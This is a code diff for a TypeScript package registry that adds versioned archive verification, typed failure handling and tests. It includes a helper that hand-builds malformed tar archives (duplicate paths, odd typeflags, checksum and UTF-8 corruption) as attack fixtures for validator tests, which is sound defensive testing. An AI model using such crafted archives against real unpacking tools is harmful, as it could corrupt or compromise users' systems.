b/packages/engine/src/install/__tests__/run-install.chain.test.ts @@ -82,7 +82,8 @@ mock.module('../../registry/download.ts', () => ({ return { ok: false, error: { code: 'NETWORK_ERROR', cause: `no fixture for ${meta.version}`, attempts: 1 } } } cpSync(fixture, dest, { recursive: true }) - return { ok: true, value: await manifestFor(fixture) } + const manifest = await manifestFor(fixture) + return { ok: true, value: { integrity: manifest.integrity, fileHashes: manifest.assets } } }, })) @@ -129,7 +130,13 @@ function seedRegistrySlot(name: string, version: string): { slotPath: string; in integrity: computed.integrity, assets: computed.assetHashes, } - const put = cachePutVerified({ kind: 'registry', name, version }, staging, manifest, computed.integrity, name) + const put = cachePutVerified( + { kind: 'registry', name, version }, + staging, + { integrity: manifest.integrity, fileHashes: manifest.assets }, + computed.integrity, + name, + ) if (!put.ok) throw new Error('test bug: seeding cache slot failed') return { slotPath: put.path, integrity: computed.integrity, fixture } } diff --git a/packages/engine/src/install/__tests__/run-install.receipt.test.ts b/packages/engine/src/install/__tests__/run-install.receipt.test.ts index 59c6629c..47556f93 100644 --- a/packages/engine/src/install/__tests__/run-install.receipt.test.ts +++ b/packages/engine/src/install/__tests__/run-install.receipt.test.ts @@ -62,7 +62,8 @@ mock.module('../../registry/download.ts', () => ({ return { ok: false, error: { code: 'NETWORK_ERROR', cause: `no fixture for ${meta.version}`, attempts: 1 } } } cpSync(fixture, dest, { recursive: true }) - return { ok: true, value: await manifestFor(fixture) } + const manifest = await manifestFor(fixture) + return { ok: true, value: { integrity: manifest.integrity, fileHashes: manifest.assets } } }, })) diff --git a/packages/engine/src/install/__tests__/run-install.test.ts b/packages/engine/src/install/__tests__/run-install.test.ts index 038a563e..de227e79 100644 --- a/packages/engine/src/install/__tests__/run-install.test.ts +++ b/packages/engine/src/install/__tests__/run-install.test.ts @@ -89,7 +89,8 @@ mock.module('../../registry/download.ts', () => ({ return { ok: false, error: { code: 'NETWORK_ERROR', cause: `no fixture for ${meta.version}`, attempts: 1 } } } cpSync(fixture, dest, { recursive: true }) - return { ok: true, value: await manifestFor(fixture) } + const manifest = await manifestFor(fixture) + return { ok: true, value: { integrity: manifest.integrity, fileHashes: manifest.assets } } }, })) diff --git a/packages/engine/src/install/__tests__/run-remove.test.ts b/packages/engine/src/install/__tests__/run-remove.test.ts index cbe087d9..3281d878 100644 --- a/packages/engine/src/install/__tests__/run-remove.test.ts +++ b/packages/engine/src/install/__tests__/run-remove.test.ts @@ -53,7 +53,8 @@ mock.module('../../registry/download.ts', () => ({ return { ok: false, error: { code: 'NETWORK_ERROR', cause: 'no fixture set', attempts: 1 } } } cpSync(registryFixtureDir, dest, { recursive: true }) - return { ok: true, value: await manifestFor(registryFixtureDir) } + const manifest = await manifestFor(registryFixtureDir) + return { ok: true, value: { integrity: manifest.integrity, fileHashes: manifest.assets } } }, })) diff --git a/packages/engine/src/install/commit/resolve-git.ts b/packages/engine/src/install/commit/resolve-git.ts index 0ac83e16..0f4c850b 100644 --- a/packages/engine/src/install/commit/resolve-git.ts +++ b/packages/engine/src/install/commit/resolve-git.ts @@ -136,7 +136,15 @@ export async function resolveGitFacet(args: ResolveGitFacetArgs): Promise {}) const failure: AssetIntegrityFailure = { kind: 'asset', facet: input.facetName, path: recomputed.path, - expected: buildManifest.assets[recomputed.path] ?? '', + expected: archive.fileHashes[recomputed.path] ?? '', observed: '', } return { ok: false, code: 'integrity-failed', failure } @@ -56,7 +57,7 @@ export async function handleMiss(input: LockedMiss | ConfirmingMiss): Promise +} + +/** Render an archive-verification failure as a short diagnostic string. */ +function describeArchiveFailure(failure: ArchiveVerificationFailure): string { + switch (failure.code) { + case 'container': + case 'invalid-json': + case 'duplicate-members': + case 'schema-violation': + case 'validation': + return failure.errors.map((e) => e.message).join('; ') + case 'decompression': + return failure.reason === 'too-large' + ? 'inner archive exceeds the allowed decompressed size' + : 'inner archive is not valid gzip (corrupt or truncated)' + case 'integrity': + return `archive integrity mismatch: expected ${failure.failure.expected}, got ${failure.failure.observed}` + case 'entry-integrity': + return failure.failures.map((f) => `entry ${f.path} hash mismatch`).join('; ') + case 'unsupported-facet-version': + return `unsupported archive format ${failure.observed ?? '(missing)'}` + default: { + const unreachable: never = failure + throw new Error(`unreachable archive failure: ${JSON.stringify(unreachable)}`) + } + } +} + export async function downloadAndExtractFacet( meta: RegistryMetadata, dest: string, -): Promise> { +): Promise> { // Reads carry the credential opportunistically (see design D3): the // archive-lookup request earns the authenticated rate-limit tier when // a credential is available, and proceeds anonymously otherwise. @@ -131,31 +173,46 @@ export async function downloadAndExtractFacet( // build-rule validation. Only verified assets are extracted. const archiveResult = await validateFacetArchive(bytes, { gunzip: uncappedGunzip }) if (!archiveResult.ok) { - const msg = archiveResult.errors.map((e) => e.message).join('; ') + // An unsupported archive format is a typed failure so the CLI can + // render actionable upgrade guidance instead of a generic error. + if (archiveResult.failure.code === 'unsupported-facet-version') { + return { + ok: false, + error: { + code: 'UNSUPPORTED_ARCHIVE', + observed: archiveResult.failure.observed, + supported: archiveResult.failure.supported, + }, + } + } return { ok: false, error: { code: 'NETWORK_ERROR', - cause: `archive is not a valid .facet: ${msg}`, + cause: `archive is not a valid .facet: ${describeArchiveFailure(archiveResult.failure)}`, attempts: 1, }, } } - const { buildManifest, assets } = archiveResult.data + const verified = archiveResult.data - // Extract verified assets to dest. All paths have been validated by - // validateFacetArchive (via validateAssetName) so they are safe - // relative paths. Extract all-or-nothing: mkdir + write only after - // full verification. + // Extract every verified file to dest — primary assets and (for 0.2 + // archives) supplementary files alike. The cache slot is storage, not + // materialization: archive-only files in a slot never reach materialize + // because engine loaders only read the paths the manifest derives. + // All paths were raw-header-validated as canonical relative paths. await mkdir(dest, { recursive: true }) - for (const asset of assets) { - const target = join(dest, asset.path) + for (const file of listVerifiedFiles(verified)) { + const target = join(dest, file.path) await mkdir(dirname(target), { recursive: true }) - await writeFile(target, asset.bytes) + await writeFile(target, file.bytes) } - return { ok: true, value: buildManifest } + return { + ok: true, + value: { integrity: verified.buildManifest.integrity, fileHashes: verifiedFileHashes(verified) }, + } } /** diff --git a/packages/engine/src/registry/types.ts b/packages/engine/src/registry/types.ts index 2883ce1d..1f9c2be5 100644 --- a/packages/engine/src/registry/types.ts +++ b/packages/engine/src/registry/types.ts @@ -69,6 +69,10 @@ export interface RegistrySpec { * - `UNEXPECTED_ERROR`: a thrown error that wasn't a recognized * network failure shape. Surfaces honestly rather than being * silently relabeled as a network error (per design D11). + * - `UNSUPPORTED_ARCHIVE`: the downloaded archive declares a + * `facetVersion` this CLI cannot verify. Carries the observed and + * supported versions so the CLI can render upgrade guidance from + * its compatibility table. */ export type RegistryError = | { code: 'REGISTRY_REJECTED'; wireCode: string; error: string; fix: string; docsUrl: string } @@ -76,6 +80,7 @@ export type RegistryError = | { code: 'NOT_FOUND'; name: string; spec: string } | { code: 'NETWORK_ERROR'; cause: string; attempts: number } | { code: 'UNEXPECTED_ERROR'; cause: string } + | { code: 'UNSUPPORTED_ARCHIVE'; observed: number | undefined; supported: readonly number[] } /** * Result type for registry operations. Discriminated by `ok`. diff --git a/packages/protocol/src/__tests__/archive-helpers.ts b/packages/protocol/src/__tests__/archive-helpers.ts new file mode 100644 index 00000000..4bff5578 --- /dev/null +++ b/packages/protocol/src/__tests__/archive-helpers.ts @@ -0,0 +1,185 @@ +import { + type ArchiveEntry, + assembleOuterTar, + assembleTar, + collectArchiveEntries, + computeAssetHashes, + computeContentHash, + type GunzipFn, + INNER_ARCHIVE_NAME, + type ResolvedFacetManifest, +} from '@agent-facets/protocol' + +/** + * Re-wrap a Bun gzip/gunzip output (`Uint8Array`) into a + * `Uint8Array` so it satisfies the stricter signatures used + * by `nanotar` and protocol's archive helpers. + */ +export const intoArrayBuffer = (bytes: Uint8Array): Uint8Array => + new Uint8Array(bytes) + +export const gz = (input: Uint8Array): Uint8Array => intoArrayBuffer(Bun.gzipSync(intoArrayBuffer(input))) + +/** Trivial gunzip backed by Bun's built-in. Always succeeds for valid gzip. */ +export const okGunzip: GunzipFn = async (bytes) => { + try { + return { ok: true, bytes: intoArrayBuffer(Bun.gunzipSync(intoArrayBuffer(bytes))) } + } catch { + return { ok: false, reason: 'corrupt' } + } +} + +/** Forced 'too-large' gunzip — simulates a registry-side bomb defense. */ +export const tooLargeGunzip: GunzipFn = async () => ({ ok: false, reason: 'too-large' }) + +/** Forced 'corrupt' gunzip — simulates an inflate error. */ +export const corruptGunzip: GunzipFn = async () => ({ ok: false, reason: 'corrupt' }) + +/** + * Build a real legacy (`0.1`) `.facet` outer-tar from a + * `ResolvedFacetManifest`. Mirrors what the legacy `runBuildPipeline` + * emitted, end-to-end, but pure (no I/O). + */ +export function buildLegacyArchive( + resolved: ResolvedFacetManifest, + manifestJsonString = JSON.stringify( + { + name: resolved.name, + version: resolved.version, + ...(resolved.description !== undefined && { description: resolved.description }), + ...(resolved.skills && { + skills: Object.fromEntries( + Object.entries(resolved.skills).map(([name, s]) => [name, { description: s.description }]), + ), + }), + ...(resolved.agents && { + agents: Object.fromEntries( + Object.entries(resolved.agents).map(([name, a]) => [name, { description: a.description }]), + ), + }), + ...(resolved.commands && { + commands: Object.fromEntries( + Object.entries(resolved.commands).map(([name, c]) => [name, { description: c.description }]), + ), + }), + }, + null, + 2, + ), +): { outerBytes: Uint8Array; buildManifestJson: string } { + const entries = collectArchiveEntries(resolved, manifestJsonString) + const assetHashes = computeAssetHashes(entries) + const innerTar = assembleTar(entries) + const integrity = computeContentHash(innerTar) + const buildManifest = { + facetVersion: 0.1, + archive: INNER_ARCHIVE_NAME, + integrity, + assets: assetHashes, + } + const buildManifestJson = JSON.stringify(buildManifest, null, 2) + const outerBytes = assembleOuterTar(buildManifestJson, gz(innerTar)) + return { outerBytes, buildManifestJson } +} + +/** + * Build a current (`0.2`) `.facet` outer-tar from a complete inner entry + * map (including `facet.json`). No producer emits `0.2` yet, so tests and + * the fixture generator construct current archives with this helper — + * canonical serialization (sorted entries, deterministic attrs), all-entry + * `files` hash map, exact `facetVersion: 0.2`. + * + * `mutate` lets tampering tests adjust the build manifest before assembly. + */ +export function buildCurrentArchive( + inner: Record, + mutate?: (buildManifest: { + facetVersion: number + archive: string + integrity: string + files: Record + }) => Record, +): { outerBytes: Uint8Array; buildManifestJson: string; innerTar: Uint8Array } { + const entries: ArchiveEntry[] = Object.entries(inner).map(([path, content]) => ({ path, content })) + entries.sort((a, b) => (a.path < b.path ? -1 : a.path > b.path ? 1 : 0)) + const files: Record = {} + for (const entry of entries) { + files[entry.path] = computeContentHash(entry.content) + } + const innerTar = assembleTar(entries) + const integrity = computeContentHash(innerTar) + const buildManifest = { facetVersion: 0.2, archive: INNER_ARCHIVE_NAME, integrity, files } + const finalManifest = mutate ? mutate(buildManifest) : buildManifest + const buildManifestJson = JSON.stringify(finalManifest, null, 2) + const outerBytes = assembleOuterTar(buildManifestJson, gz(innerTar)) + return { outerBytes, buildManifestJson, innerTar } +} + +// --- Raw tar construction for header-level attack fixtures --- + +export interface RawTarEntrySpec { + name: string + content?: string + /** Tar typeflag character; defaults to '0' (regular file). */ + typeflag?: string + /** ustar prefix field contents (canonical archives never use it). */ + prefix?: string +} + +function rawTarHeader(name: string, size: number, typeflag: string, prefix: string): Uint8Array { + const block = new Uint8Array(512) + const enc = new TextEncoder() + block.set(enc.encode(name).subarray(0, 100), 0) + block.set(enc.encode('0000644\0'), 100) + block.set(enc.encode('0000000\0'), 108) + block.set(enc.encode('0000000\0'), 116) + block.set(enc.encode(`${size.toString(8).padStart(11, '0')}\0`), 124) + block.set(enc.encode('00000000000\0'), 136) + block.set(enc.encode(' '), 148) + block[156] = typeflag.charCodeAt(0) + block.set(enc.encode('ustar\0'), 257) + block.set(enc.encode('00'), 263) + if (prefix !== '') { + block.set(enc.encode(prefix).subarray(0, 155), 345) + } + let sum = 0 + for (const byte of block) sum += byte + block.set(enc.encode(`${sum.toString(8).padStart(6, '0')}\0 `), 148) + return block +} + +/** + * Hand-assemble raw tar bytes so tests can craft header-level attacks that + * `createTar` refuses to produce: duplicate paths, non-regular typeflags, + * PAX/GNU header entries, ustar prefixes, and post-terminator garbage. + */ +export function buildRawTar( + entries: RawTarEntrySpec[], + opts?: { trailing?: Uint8Array; noTerminator?: boolean }, +): Uint8Array { + const enc = new TextEncoder() + const chunks: Uint8Array[] = [] + for (const entry of entries) { + const data = enc.encode(entry.content ?? '') + chunks.push(rawTarHeader(entry.name, data.length, entry.typeflag ?? '0', entry.prefix ?? '')) + if (data.length > 0) { + const padded = new Uint8Array(Math.ceil(data.length / 512) * 512) + padded.set(data) + chunks.push(padded) + } + } + if (!opts?.noTerminator) { + chunks.push(new Uint8Array(1024)) + } + if (opts?.trailing) { + chunks.push(opts.trailing) + } + const total = chunks.reduce((n, c) => n + c.length, 0) + const out = new Uint8Array(total) + let offset = 0 + for (const chunk of chunks) { + out.set(chunk, offset) + offset += chunk.length + } + return out +} diff --git a/packages/protocol/src/__tests__/content-hash.test.ts b/packages/protocol/src/__tests__/content-hash.test.ts index 49988fe8..5b90c683 100644 --- a/packages/protocol/src/__tests__/content-hash.test.ts +++ b/packages/protocol/src/__tests__/content-hash.test.ts @@ -237,15 +237,15 @@ describe('parseFacetArchive', () => { const innerArchiveBytes = new TextEncoder().encode('fake-inner-tar-bytes') - test('returns ok=true with validated manifest and inner bytes on a well-formed archive', () => { + test('returns ok=true with the version-tagged manifest and inner bytes on a well-formed archive', () => { const outer = assembleOuterTar(JSON.stringify(validBuildManifest), innerArchiveBytes) const result = parseFacetArchive(outer) if (!result.ok) expect.unreachable() - expect(result.data.buildManifest.integrity).toBe(validIntegrity) - expect(result.data.buildManifest.archive).toBe('archive.tar.gz') - expect(result.data.buildManifest.facetVersion).toBe(0.1) + if (result.data.manifest.facetVersion !== 0.1) expect.unreachable() + expect(result.data.manifest.manifest.integrity).toBe(validIntegrity) + expect(result.data.manifest.manifest.archive).toBe('archive.tar.gz') expect(new TextDecoder().decode(result.data.innerArchiveBytes)).toBe('fake-inner-tar-bytes') }) @@ -256,9 +256,10 @@ describe('parseFacetArchive', () => { const result = parseFacetArchive(onlyInner) if (result.ok) expect.unreachable() - expect(result.errors).toHaveLength(1) - expect(result.errors[0]?.path).toBe('build-manifest.json') - expect(result.errors[0]?.actual).toBe('missing') + if (result.failure.code !== 'container') expect.unreachable() + expect(result.failure.errors).toHaveLength(1) + expect(result.failure.errors[0]?.path).toBe('build-manifest.json') + expect(result.failure.errors[0]?.actual).toBe('missing') }) test('returns ok=false when archive.tar.gz entry is missing', () => { @@ -268,9 +269,10 @@ describe('parseFacetArchive', () => { const result = parseFacetArchive(onlyManifest) if (result.ok) expect.unreachable() - expect(result.errors).toHaveLength(1) - expect(result.errors[0]?.path).toBe('archive.tar.gz') - expect(result.errors[0]?.actual).toBe('missing') + if (result.failure.code !== 'container') expect.unreachable() + expect(result.failure.errors).toHaveLength(1) + expect(result.failure.errors[0]?.path).toBe('archive.tar.gz') + expect(result.failure.errors[0]?.actual).toBe('missing') }) test('returns ok=false when build-manifest.json contains invalid JSON', () => { @@ -279,23 +281,20 @@ describe('parseFacetArchive', () => { const result = parseFacetArchive(outer) if (result.ok) expect.unreachable() - expect(result.errors.length).toBeGreaterThan(0) - expect(result.errors[0]?.path).toBe('build-manifest.json') - expect(result.errors[0]?.message).toContain('JSON') + expect(result.failure.code).toBe('invalid-json') }) test('returns ok=false when build-manifest.json fails the schema', () => { - // Missing `integrity` and `assets` — schema-invalid. + // Missing `integrity` and `assets` — schema-invalid under 0.1. const badManifest = { facetVersion: 0.1, archive: 'archive.tar.gz' } const outer = assembleOuterTar(JSON.stringify(badManifest), innerArchiveBytes) const result = parseFacetArchive(outer) if (result.ok) expect.unreachable() - expect(result.errors.length).toBeGreaterThan(0) - for (const err of result.errors) { - expect(err.path.startsWith('build-manifest.json')).toBe(true) - } + if (result.failure.code !== 'schema-violation') expect.unreachable() + expect(result.failure.facetVersion).toBe(0.1) + expect(result.failure.errors.length).toBeGreaterThan(0) }) test('returns ok=false when integrity field has wrong format', () => { @@ -310,21 +309,29 @@ describe('parseFacetArchive', () => { const result = parseFacetArchive(outer) if (result.ok) expect.unreachable() - expect(result.errors.length).toBeGreaterThan(0) - expect(result.errors.some((e) => e.path.startsWith('build-manifest.json'))).toBe(true) + expect(result.failure.code).toBe('schema-violation') + }) + + test('returns ok=false with structured data on an unsupported facetVersion', () => { + const futureManifest = { ...validBuildManifest, facetVersion: 0.3 } + const outer = assembleOuterTar(JSON.stringify(futureManifest), innerArchiveBytes) + + const result = parseFacetArchive(outer) + + if (result.ok) expect.unreachable() + if (result.failure.code !== 'unsupported-facet-version') expect.unreachable() + expect(result.failure.observed).toBe(0.3) + expect(result.failure.supported).toEqual([0.1, 0.2]) }) test('returns ok=false when outer-tar bytes are malformed (oversized header size)', () => { - // Without the try/catch in `parseFacetArchive`, this test crashes - // the suite with `RangeError: Length out of range of buffer`. With - // it, we get the documented `''`-rooted error. + // The raw-header validator detects the over-claimed size before + // nanotar ever parses the buffer. const result = parseFacetArchive(buildMalformedTarBuffer()) if (result.ok) expect.unreachable() - expect(result.errors).toHaveLength(1) - expect(result.errors[0]?.path).toBe('') - expect(result.errors[0]?.actual).toBe('malformed tar bytes') - expect(result.errors[0]?.message).toContain('not a valid tar file') + if (result.failure.code !== 'container') expect.unreachable() + expect(result.failure.errors.length).toBeGreaterThan(0) }) }) diff --git a/packages/protocol/src/__tests__/fixtures/generate.ts b/packages/protocol/src/__tests__/fixtures/generate.ts new file mode 100644 index 00000000..7e04770b --- /dev/null +++ b/packages/protocol/src/__tests__/fixtures/generate.ts @@ -0,0 +1,71 @@ +/** + * One-off generator for the immutable archive fixtures: + * + * - `valid-0.1.facet` — a valid legacy archive as the pre-`0.2` producer + * emitted it (asset-only, `assets` hash map). + * - `valid-0.2.facet` — a valid current archive with a skill companion, + * a binary supplementary file, an empty supplementary file, and a root + * `README.md` (`files` hash map, `facetVersion: 0.2`). + * + * Run from `packages/protocol`: + * + * bun src/__tests__/fixtures/generate.ts + * + * These fixtures are IMMUTABLE compatibility anchors: they pin that future + * consumers keep accepting today's bytes. Do NOT regenerate them when + * verification code changes — a change that rejects these bytes is a + * breaking format change and needs its own reviewed migration. (The only + * legitimate reason to regenerate is creating a NEW fixture for a NEW + * format version alongside the existing ones.) + */ +import { join } from 'node:path' +import { buildCurrentArchive, buildLegacyArchive } from '../archive-helpers.ts' + +const dir = import.meta.dir + +const legacy = buildLegacyArchive({ + name: 'fixture-legacy', + version: '1.0.0', + description: 'Immutable legacy 0.1 fixture', + skills: { + 'code-review': { description: 'Review code', prompt: '# Code Review\n\nReview the diff.' }, + }, + agents: { + helper: { description: 'A helper', prompt: '# Helper\n\nAssist the user.' }, + }, + commands: { + ship: { description: 'Ship it', prompt: '# Ship\n\nShip the change.' }, + }, +}) +await Bun.write(join(dir, 'valid-0.1.facet'), legacy.outerBytes) + +const currentManifest = JSON.stringify( + { + name: 'fixture-current', + version: '1.0.0', + description: 'Immutable current 0.2 fixture', + skills: { + review: { + description: 'Review code', + files: ['references/api.md', 'assets/logo.bin', 'notes/empty.txt'], + }, + }, + agents: { helper: { description: 'A helper' } }, + files: ['README.md', 'LICENSE'], + }, + null, + 2, +) +const current = buildCurrentArchive({ + 'facet.json': currentManifest, + 'skills/review/SKILL.md': '# Review\n\nReview the diff.', + 'skills/review/references/api.md': '# API reference\n', + 'skills/review/assets/logo.bin': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x00, 0x01, 0xff, 0xfe]), + 'skills/review/notes/empty.txt': new Uint8Array(0), + 'agents/helper.md': '# Helper\n\nAssist the user.', + 'README.md': '# fixture-current\n\nImmutable current-format fixture.\n', + LICENSE: 'MIT\n', +}) +await Bun.write(join(dir, 'valid-0.2.facet'), current.outerBytes) + +console.log('wrote valid-0.1.facet and valid-0.2.facet') diff --git a/packages/protocol/src/__tests__/fixtures/valid-0.1.facet b/packages/protocol/src/__tests__/fixtures/valid-0.1.facet new file mode 100644 index 0000000000000000000000000000000000000000..2d7cf8679b64afea7d7dd71d077afbae71c1ff45 GIT binary patch literal 10240 zcmeIyPi$007y$5%LMW})Vh`3Bwb>Y>MRsT2y!rDA5qek*QWQmM4+c6jZ>GDY-L3nU z7ObTW2SaQ_0BfSODN?~gQ3J$8z(k`lCZN^CLxqD-DfLn|7^M6Qc-fi5 zzL%NJ_kHtw`985ZR_`up;PIGNUMf`QCE|hGy@0=nZ3nVXfBpLj0l~9-)8`Ok8~a6o z+g-@5;%)X)Jn5&u)maYgwd9wU1~r!|Ri%<%ED;Zumx2&{D!a{-G8$`A{?6=c$hQjB zz80K5j>S`|HW^E8&HllQato7kXxS2K#-L)5V22Uy60NXuTnk|UxucLm8Yy5aTObUH zpj-&;YR9pN5O5|k_dJ#I{IJ>TvW3*Dc*+Y$RehsMh8o3>`FD)t|Dzs zmpb#`&vYGk)^F%#we363UKzh!yy)7#9iRU4>(ajBc_nX*m-o*vXmCes7Pn+79^P{F znef+ZHyyn9ovxbwhkp-czO8=fqVEq}9q;`(Ib%l<%P!MkrQ4Kxp&AMERkuS5^FouK1q z_mq8frtgu$Wmk`G?cTL>F{Wd?U+4{YzW#mQ-h=HM0%LW9cVz~SSAKT)Av&*d#M&Q^ ztd1m>hwmGE`rN{`&o`yJ-VRis+x{c@xO@AW1uX}LiiXzxncsS$z5B)S^;-_?${cw~ zAK6*${50S^&^E>cBI2!Wgc literal 0 HcmV?d00001 diff --git a/packages/protocol/src/__tests__/fixtures/valid-0.2.facet b/packages/protocol/src/__tests__/fixtures/valid-0.2.facet new file mode 100644 index 0000000000000000000000000000000000000000..1e50fb288a6637d623ad11eb92bccbb4dbdd161f GIT binary patch literal 10240 zcmeH|drVhV9KcDfnXRGHN_z<`r2rM)$`E^j3vGjd%Ha$^ z!juMvL+m&ZNTVfF+*OKlMzLcPVLZnMK$H-Qv6~y>;jp&YGP2UM5=5}J92;s2YGjEy z2s418W;2A4QVKKS0cGQXgd>BLXTP9=+(?hq*OpEC^?_w(MRYh(j~y48 zoDi85X=G0$0W3+#JX=P##27a=0n(zQMlgt>%Qbd1rq(J$mIP*mF-N!_fx;u?=JAEJ z(IK5Ftx-NMcmq*sFi?6Oe3#GvcJrFoCo<;D zTV+|fpyiGO&*pqJcgshkn&0zb)~<)g27&`OP0hXX{L#RHORWy9s=&vi_jfN$Y4dH1 zg@aOtEni)@b6(7f>D^9MR;4Y^t~A+GHoyz_%lY>f<@emaKceP8NJ+a{Mfn%nJ{p)c zfAiLYs(QeK0+6WOhZ)eM4XF@YsT0 z$=leV-T2*&8EV?V*vbLDhW_x~kkb5uQ(sK#_T|1I$wx~@ZRk<-{+J{EuI?;cSe>?X z@{^}VK7c0W_s?3^J1!L0qcj#b*}U%Lw4c|j@iTWfC%x;cno(yLROEb6o?11s zX<16tn%8<4EZDlNph@uYbp%Cq+#Ov^p6HaDf;Q(eoxF5UPOiu$5zMzEo6kenjUP@AZ8ydUVQ?NA`EQyeG9|uePDJtsm;U<(o6`i9t<= zY-rhW_JBS6HcekVI67ru=YHOh%yM^lY4Vy+N30${rb))YlC;@>#Y`OhOik;Ht*^9? z>2>VKb$RE{%8kW`Q_oE}v~u&_h10fy&(?ZraQVFGT~n@>eLf>6zb4Q69*urcW?5m$ z!7D3H4DDG}lLU%u%0Jn&GUwva;jyS>bGtXHtA0QBYvtSLPVY-i+0iO>Sk0m(FD { + test('accepts a canonical tar whose checksum is correct', () => { + const result = validateRawTarEntries(canonicalTar(), '') + if (!result.ok) expect.unreachable() + expect(result.entries.map((e) => e.path)).toEqual(['facet.json']) + }) + + test('rejects a tar whose header checksum was corrupted', () => { + const bytes = canonicalTar() + // Flip a data byte in the header (the size field, offset 124) without + // fixing the checksum — a conforming tar tool would reject this. + bytes[124] = bytes[124] === 0x30 ? 0x31 : 0x30 + const result = validateRawTarEntries(bytes, '') + if (result.ok) expect.unreachable() + expect(result.errors.some((e) => e.code === 'tar-malformed')).toBe(true) + expect(result.errors[0]?.message).toContain('checksum') + }) + + test('rejects a tar whose checksum field itself was mangled', () => { + const bytes = canonicalTar() + // Corrupt the stored checksum digits directly. + bytes[CHECKSUM_OFFSET] = 0x39 // '9' + bytes[CHECKSUM_OFFSET + 1] = 0x39 + const result = validateRawTarEntries(bytes, '') + if (result.ok) expect.unreachable() + expect(result.errors.some((e) => e.code === 'tar-malformed')).toBe(true) + }) +}) + +describe('validateRawTarEntries — fatal UTF-8 name decoding', () => { + test('rejects an entry name containing invalid UTF-8 bytes', () => { + const bytes = canonicalTar() + // Overwrite the first name byte with 0xFF (never valid in UTF-8). The + // name field is `facet.json\0...`; 0xFF makes it non-decodable. + bytes[NAME_OFFSET] = 0xff + // Recompute a *matching* checksum so the failure is attributed to the + // UTF-8 decode, not the checksum guard. + fixChecksum(bytes, 0) + const result = validateRawTarEntries(bytes, '') + if (result.ok) expect.unreachable() + expect(result.errors.some((e) => e.code === 'tar-non-canonical-path')).toBe(true) + expect(result.errors[0]?.message).toContain('UTF-8') + }) +}) + +describe('validateRawTarEntries — canonical order enforcement', () => { + test('accepts entries already in ascending path order', () => { + const tar = new Uint8Array( + assembleTar([ + { path: 'a.md', content: '1' }, + { path: 'b.md', content: '2' }, + ]), + ) + const result = validateRawTarEntries(tar, '', { enforceCanonicalOrder: true }) + if (!result.ok) expect.unreachable() + expect(result.entries.map((e) => e.path)).toEqual(['a.md', 'b.md']) + }) + + test('rejects out-of-order entries only when enforcement is on', () => { + // Build a tar whose entries are deliberately NOT sorted. `assembleTar` + // preserves the given order (it does not sort), so pass them reversed. + const outOfOrder = new Uint8Array( + assembleTar([ + { path: 'b.md', content: '2' }, + { path: 'a.md', content: '1' }, + ]), + ) + + // Without enforcement: accepted (ordering is not a raw-header concern by + // default; the outer container relies on this). + const lenient = validateRawTarEntries(outOfOrder, '') + if (!lenient.ok) expect.unreachable() + + // With enforcement: rejected with the dedicated code. + const strict = validateRawTarEntries(outOfOrder, '', { enforceCanonicalOrder: true }) + if (strict.ok) expect.unreachable() + expect(strict.errors.some((e) => e.code === 'tar-non-canonical-order')).toBe(true) + }) +}) + +/** Rewrite the ustar checksum field for the block at `offset` to match its bytes. */ +function fixChecksum(bytes: Uint8Array, offset: number): void { + // Fill checksum field with spaces for the summation. + for (let i = offset + CHECKSUM_OFFSET; i < offset + CHECKSUM_OFFSET + 8; i++) bytes[i] = 0x20 + let sum = 0 + for (let i = offset; i < offset + 512; i++) sum += bytes[i] ?? 0 + // Canonical encoding: 6 octal digits, NUL, space. + const digits = sum.toString(8).padStart(6, '0') + for (let i = 0; i < 6; i++) bytes[offset + CHECKSUM_OFFSET + i] = digits.charCodeAt(i) + bytes[offset + CHECKSUM_OFFSET + 6] = 0x00 + bytes[offset + CHECKSUM_OFFSET + 7] = 0x20 +} diff --git a/packages/protocol/src/__tests__/validate-archive.test.ts b/packages/protocol/src/__tests__/validate-archive.test.ts index ceed113a..69437fc5 100644 --- a/packages/protocol/src/__tests__/validate-archive.test.ts +++ b/packages/protocol/src/__tests__/validate-archive.test.ts @@ -1,4 +1,5 @@ import { describe, expect, test } from 'bun:test' +import { join } from 'node:path' import { assembleOuterTar, assembleTar, @@ -12,88 +13,16 @@ import { type ResolvedFacetManifest, validateFacetArchive, } from '@agent-facets/protocol' - -/** - * Re-wrap a Bun gzip/gunzip output (`Uint8Array`) into a - * `Uint8Array` so it satisfies the stricter signatures used - * by `nanotar` and protocol's archive helpers. Bun's type for the - * sync compression APIs uses `ArrayBufferLike`, which TypeScript views - * as a superset of `ArrayBuffer`. The polymorphic input parameter lets - * this helper accept both Bun's `Uint8Array` and the - * default `Uint8Array` callers may already hold. - */ -const intoArrayBuffer = (bytes: Uint8Array): Uint8Array => - new Uint8Array(bytes) - -// Bun's sync compression APIs accept `string | ArrayBuffer | Uint8Array`; -// our test inputs are `Uint8Array` (the default in modern lib.d.ts). -// Re-wrap into a fresh `Uint8Array` at the boundary. -const gz = (input: Uint8Array): Uint8Array => intoArrayBuffer(Bun.gzipSync(intoArrayBuffer(input))) - -/** Trivial gunzip backed by Bun's built-in. Always succeeds for valid gzip. */ -const okGunzip: GunzipFn = async (bytes) => { - try { - return { ok: true, bytes: intoArrayBuffer(Bun.gunzipSync(intoArrayBuffer(bytes))) } - } catch { - return { ok: false, reason: 'corrupt' } - } -} - -/** Forced 'too-large' gunzip — simulates a registry-side bomb defense. */ -const tooLargeGunzip: GunzipFn = async () => ({ ok: false, reason: 'too-large' }) - -/** Forced 'corrupt' gunzip — simulates an inflate error. */ -const corruptGunzip: GunzipFn = async () => ({ ok: false, reason: 'corrupt' }) - -/** - * Build a real `.facet` outer-tar bytes from a `ResolvedFacetManifest`. - * Mirrors what `runBuildPipeline` does, end-to-end, but pure (no I/O). - * - * Returns `{ outerBytes, manifestJsonString }` so tests can also inspect - * the build manifest string when needed. - */ -function buildFixtureArchive( - resolved: ResolvedFacetManifest, - manifestJsonString = JSON.stringify( - { - name: resolved.name, - version: resolved.version, - ...(resolved.description !== undefined && { description: resolved.description }), - ...(resolved.skills && { - skills: Object.fromEntries( - Object.entries(resolved.skills).map(([name, s]) => [name, { description: s.description }]), - ), - }), - ...(resolved.agents && { - agents: Object.fromEntries( - Object.entries(resolved.agents).map(([name, a]) => [name, { description: a.description }]), - ), - }), - ...(resolved.commands && { - commands: Object.fromEntries( - Object.entries(resolved.commands).map(([name, c]) => [name, { description: c.description }]), - ), - }), - }, - null, - 2, - ), -): { outerBytes: Uint8Array; buildManifestJson: string } { - const entries = collectArchiveEntries(resolved, manifestJsonString) - const assetHashes = computeAssetHashes(entries) - const innerTar = assembleTar(entries) - const integrity = computeContentHash(innerTar) - const innerGz = gz(innerTar) - const 